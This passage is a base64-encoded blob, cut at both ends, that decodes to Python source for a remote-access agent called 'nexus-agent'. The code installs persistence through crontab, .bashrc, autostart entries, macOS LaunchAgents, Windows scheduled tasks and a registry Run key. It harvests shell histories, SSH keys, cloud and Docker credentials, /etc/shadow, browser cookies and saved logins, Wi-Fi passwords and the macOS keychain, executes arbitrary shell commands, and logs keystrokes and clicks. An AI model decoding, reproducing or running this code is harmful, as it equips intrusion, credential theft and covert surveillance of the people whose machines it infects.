ogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3IvYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInJlZ2lzdHJ5OiBmYWlsZWQiKQogICAgICAgIHJldHVybiAiUGVyc2lzdGVuY2UgcmVzdWx0czogIiArICI7ICIuam9pbihyZXN1bHRzKSwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImhhcnZlc3RfY3JlZGVudGlhbHMiOgogICAgICAgIGNyZWRzID0gW10KICAgICAgICBob21lID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+IikKICAgICAgICAjIFNoZWxsIGhpc3RvcnkKICAgICAgICBmb3IgaGlzdCBpbiBbIn4vLmJhc2hfaGlzdG9yeSIsICJ+Ly56c2hfaGlzdG9yeSIsICJ+Ly5teXNxbF9oaXN0b3J5IiwgIn4vLnBzcWxfaGlzdG9yeSIsICJ+Ly5weXRob25faGlzdG9yeSIsICJ+Ly5ub2RlX3JlcGxfaGlzdG9yeSJdOgogICAgICAgICAgICBwID0gb3MucGF0aC5leHBhbmR1c2VyKGhpc3QpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudCA9IGYucmVhZCgpWy0yMDAwMDpdCiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic2hlbGxfaGlzdG9yeTp7b3MucGF0aC5iYXNlbmFtZShwKX0iLCAiZGF0YSI6IGNvbnRlbnR9KQogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBTU0gga2V5cwogICAgICAgIHNzaF9kaXIgPSBvcy5wYXRoLmpvaW4oaG9tZSwgIi5zc2giKQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzaF9kaXIpOgogICAgICAgICAgICBmb3IgZm4gaW4gb3MubGlzdGRpcihzc2hfZGlyKToKICAgICAgICAgICAgICAgIGZwID0gb3MucGF0aC5qb2luKHNzaF9kaXIsIGZuKQogICAgICAgICAgICAgICAgaWYgb3MucGF0aC5pc2ZpbGUoZnApIGFuZCAoJ2lkXycgaW4gZm4gb3IgJ2F1dGhvcml6ZWRfa2V5cycgaW4gZm4gb3IgJ2tub3duX2hvc3RzJyBpbiBmbik6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oZnAsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYic3NoOntmbn0iLCAiZGF0YSI6IGYucmVhZCgpWzoxMDAwMF19KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICMgQVdTIC8gY2xvdWQgY3JlZGVudGlhbHMKICAgICAgICBmb3IgY2YgaW4gWyJ+Ly5hd3MvY3JlZGVudGlhbHMiLCAifi8uYXdzL2NvbmZpZyIsICJ+Ly5jb25maWcvZ2Nsb3VkL2NyZWRlbnRpYWxzLmRiIiwKICAgICAgICAgICAgICAgICAgICAifi8uYXp1cmUvYWNjZXNzVG9rZW5zLmpzb24iLCAifi8uZG9ja2VyL2NvbmZpZy5qc29uIl06CiAgICAgICAgICAgIHAgPSBvcy5wYXRoLmV4cGFuZHVzZXIoY2YpCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHApOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncicsIGVycm9ycz0naWdub3JlJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiY2xvdWQ6e29zLnBhdGguYmFzZW5hbWUoY2YpfSIsICJkYXRhIjogZi5yZWFkKClbOjEwMDAwXX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIC9ldGMvc2hhZG93IChpZiByb290KQogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKCIvZXRjL3NoYWRvdyIpOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oIi9ldGMvc2hhZG93IiwgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAic3lzdGVtOnNoYWRvdyIsICJkYXRhIjogZi5yZWFkKClbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBCcm93c2VyIGNvb2tpZS9zYXZlZC1sb2dpbiBEQnMgKGNvbW1vbiBwYXRocykKICAgICAgICBicm93c2VyX3BhdGhzID0gW10KICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8ubW96aWxsYS9maXJlZm94LyouZGVmYXVsdCovbG9naW5zLmpzb24iKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL2dvb2dsZS1jaHJvbWUvRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9nb29nbGUtY2hyb21lL0RlZmF1bHQvTG9naW4gRGF0YSIpLAogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5jb25maWcvY2hyb21pdW0vRGVmYXVsdC9Db29raWVzIiksCiAgICAgICAgICAgICAgICBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9jaHJvbWl1bS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi8uY29uZmlnL0JyYXZlU29mdHdhcmUvQnJhdmUtQnJvd3Nlci9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBicm93c2VyX3BhdGhzID0gWwogICAgICAgICAgICAgICAgb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC9GaXJlZm94L1Byb2ZpbGVzLyouZGVmYXVsdCovY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0Nvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdXNlcigifi9MaWJyYXJ5L0FwcGxpY2F0aW9uIFN1cHBvcnQvR29vZ2xlL0Nocm9tZS9EZWZhdWx0L0xvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYnJvd3Nlcl9wYXRocyA9IFsKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUFQUERBVEElXFxNb3ppbGxhXFxGaXJlZm94XFxQcm9maWxlc1xcKi5kZWZhdWx0KlxcY29va2llcy5zcWxpdGUiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXENvb2tpZXMiKSwKICAgICAgICAgICAgICAgIG9zLnBhdGguZXhwYW5kdmFycygiJUxPQ0FMQVBQREFUQSVcXEdvb2dsZVxcQ2hyb21lXFxVc2VyIERhdGFcXERlZmF1bHRcXExvZ2luIERhdGEiKSwKICAgICAgICAgICAgXQogICAgICAgIGltcG9ydCBnbG9iCiAgICAgICAgZm9yIHBhdHRlcm4gaW4gYnJvd3Nlcl9wYXRoczoKICAgICAgICAgICAgZm9yIHAgaW4gZ2xvYi5nbG9iKHBhdHRlcm4pOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN6ID0gb3MucGF0aC5nZXRzaXplKHApCiAgICAgICAgICAgICAgICAgICAgaWYgc3ogPiAwIGFuZCBzeiA8IDUwICogMTAyNCAqIDEwMjQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAncmInKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1wb3J0IGJhc2U2NAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6IGYiYnJvd3Nlcjp7b3MucGF0aC5iYXNlbmFtZShvcy5wYXRoLmRpcm5hbWUocCkpfS97b3MucGF0aC5iYXNlbmFtZShwKX0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGF0YSI6IGJhc2U2NC5iNjRlbmNvZGUoZi5yZWFkKCkpLmRlY29kZSgndXRmLTgnKX0pCiAgICAgICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICAjIFdpLUZpIHBhc3N3b3JkcyAoTGludXgpCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpZmkgPSBzdWJwcm9jZXNzLnJ1bigiZ3JlcCAtciAnXnBzaz0nIC9ldGMvTmV0d29ya01hbmFnZXIvc3lzdGVtLWNvbm5lY3Rpb25zLyAyPi9kZXYvbnVsbCB8fCBncmVwIC1yICd3cGFfcGFzc3BocmFzZScgL2V0Yy93cGFfc3VwcGxpY2FudC8gMj4vZGV2L251bGwgfHwgZWNobyAnbm8gd2lmaSciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD01KS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIHdpZmkuc3RyaXAoKSBhbmQgJ25vIHdpZmknIG5vdCBpbiB3aWZpOgogICAgICAgICAgICAgICAgICAgIGNyZWRzLmFwcGVuZCh7InR5cGUiOiAid2lmaV9wYXNzd29yZHMiLCAiZGF0YSI6IHdpZmlbOjUwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgIyBtYWNPUyBLZXljaGFpbiBkdW1wCiAgICAgICAgaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBrZXljaGFpbiA9IHN1YnByb2Nlc3MucnVuKCJzZWN1cml0eSBkdW1wLWtleWNoYWluIC1kIDI+L2Rldi9udWxsIHwgaGVhZCAtMjAwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTEwKS5zdGRvdXQKICAgICAgICAgICAgICAgIGlmIGtleWNoYWluLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgY3JlZHMuYXBwZW5kKHsidHlwZSI6ICJrZXljaGFpbl9kdW1wIiwgImRhdGEiOiBrZXljaGFpbls6MTAwMDBdfSkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgIHJldHVybiBqc29uLmR1bXBzKHsidHlwZSI6ImhhcnZlc3RfcmVzdWx0IiwiY3JlZGVudGlhbHMiOmNyZWRzfSksIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJleHBvcnRfZGlhZ25vc3RpY3MiOgogICAgICAgIGNtZCA9ICJ1cHRpbWUgJiYgZnJlZSAtaCAmJiBkZiAtaCAmJiB1bmFtZSAtYSIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJzeXN0ZW1pbmZvIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIHJldHVybiBmIlVua25vd24gYWN0aW9uIHR5cGU6IHthY3Rpb25fdHlwZX0iLCAxCgpkZWYgcnVuX3NoZWxsKGNtZF9zdHIpOgogICAgaWYgbm90IHF1aWV0X21vZGU6CiAgICAgICAgcHJpbnQoZiJbKl0gRXhlY3V0aW5nIGNvbW1hbmQ6IHtjbWRfc3RyfSIpCiAgICB0cnk6CiAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oY21kX3N0ciwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuU1RET1VULCB0ZXh0PVRydWUsIHRpbWVvdXQ9MzApCiAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQsIHJlcy5yZXR1cm5jb2RlCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIHN0cihlKSwgMQoKIyDilIDilIAgSW5wdXQgQ2FwdHVyZSBNb2R1bGUgKGtleXN0cm9rZXMsIG1vdXNlIGNsaWNrcywgd2luZG93IGZvY3VzKSDilIDilIAKSU5QVVRfQ0FQVFVSRV9FTkFCTEVEID0gRmFsc2UKY2FwdHVyZWRfZXZlbnRzID0gW10KCnRyeToKICAgIGZyb20gcHlucHV0IGltcG9ydCBrZXlib2FyZCwgbW91c2UKICAgIElOUFVUX0NBUFRVUkVfRU5BQkxFRCA9IFRydWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgcGFzcwoKZGVmIF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpOgogICAgIiIiVHJ5IHRvIGdldCB0aGUgYWN0aXZlIHdpbmRvdyB0aXRsZSBjcm9zcy1wbGF0Zm9ybS4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJ4ZG90b29sIiwgImdldGFjdGl2ZXdpbmRvdyIsICJnZXR3aW5kb3duYW1lIl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSwgdGltZW91dD0yKQogICAgICAgICAgICBpZiByZXMucmV0dXJuY29kZSA9PSAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJlcy5zdGRvdXQuc3RyaXAoKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgaW1wb3J0IGN0eXBlcwogICAgICAgICAgICBmcm9tIGN0eXBlcyBpbXBvcnQgd2ludHlwZXMKICAgICAgICAgICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICAgICAgICAgICAgaHduZCA9IHVzZXIzMi5HZXRGb3JlZ3JvdW5kV2luZG93KCkKICAgICAgICAgICAgbGVuZ3RoID0gdXNlcjMyLkdldFdpbmRvd1RleHRMZW5ndGhXKGh3bmQpCiAgICAgICAgICAgIGJ1ZiA9IGN0eXBlcy5jcmVhdGVfdW5pY29kZV9idWZmZXIobGVuZ3RoICsgMSkKICAgICAgICAgICAgdXNlcjMyLkdldFdpbmRvd1RleHRXKGh3bmQsIGJ1ZiwgbGVuZ3RoICsgMSkKICAgICAgICAgICAgcmV0dXJuIGJ1Zi52YWx1ZQogICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICBzY3JpcHQgPSAndGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gZ2V0IG5hbWUgb2YgZmlyc3QgYXBwbGljYXRpb24gcHJvY2VzcyB3aG9zZSBmcm9udG1vc3QgaXMgdHJ1ZScKICAgICAgICAgICAgcmVzID0gc3VicHJvY2Vzcy5ydW4oWyJvc2FzY3JpcHQiLCAiLWUiLCBzY3JpcHRdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9MikKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMDoKICAgICAgICAgICAgICAgIHJldHVybiByZXMuc3Rkb3V0LnN0cmlwKCkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuICIiCgpkZWYgX3JlY29yZF9ldmVudChldmVudF90eXBlLCBkYXRhKToKICAgICIiIlRocmVhZC1zYWZlIGV2ZW50IHJlY29yZGluZy4iIiIKICAgIGdsb2JhbCBjYXB0dXJlZF9ldmVudHMKICAgIHdpbmRvd190aXRsZSA9IF9nZXRfYWN0aXZlX3dpbmRvd190aXRsZSgpCiAgICBjYXB0dXJlZF9ldmVudHMuYXBwZW5kKHsKICAgICAgICAidGltZXN0YW1wIjogaW50KHRpbWUudGltZSgpICogMTAwMCksCiAgICAgICAgImV2ZW50VHlwZSI6IGV2ZW50X3R5cGUsCiAgICAgICAgImRhdGEiOiBkYXRhLAogICAgICAgICJ3aW5kb3dUaXRsZSI6IHdpbmRvd190aXRsZSwKICAgICAgICAicHJvY2Vzc05hbWUiOiB3aW5kb3dfdGl0bGUuc3BsaXQoIiAtICIpWy0xXSBpZiAiIC0gIiBpbiB3aW5kb3dfdGl0bGUgZWxzZSB3aW5kb3dfdGl0bGUKICAgIH0pCgpkZWYgX29uX2tleV9wcmVzcyhrZXkpOgogICAgdHJ5OgogICAgICAgIGtleV9zdHIgPSBrZXkuY2hhciBpZiBoYXNhdHRyKGtleSwgJ2NoYXInKSBhbmQga2V5LmNoYXIgZWxzZSBzdHIoa2V5KQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBrZXlfc3RyID0gc3RyKGtleSkKICAgIF9yZWNvcmRfZXZlbnQoImtleXN0cm9rZSIsIHsia2V5Ijoga2V5X3N0cn0pCgpkZWYgX29uX2NsaWNrKHgsIHksIGJ1dHRvbiwgcHJlc3NlZCk6CiAgICBpZiBwcmVzc2VkOgogICAgICAgIF9yZWNvcmRfZXZlbnQoImNsaWNrIiwgeyJ4IjogeCwgInkiOiB5LCAiYnV0dG9uIjogc3RyKGJ1dHRvbil9KQoKZGVmIF9vbl9zY3JvbGwoeCwgeSwgZHgsIGR5KToKICAgIF9yZWNvcmRfZXZlbnQoInNjcm9sbCIsIHsieCI6IHgsICJ5IjogeSwgImR4IjogZHgsICJkeSI6IGR5fSkKCmRlZ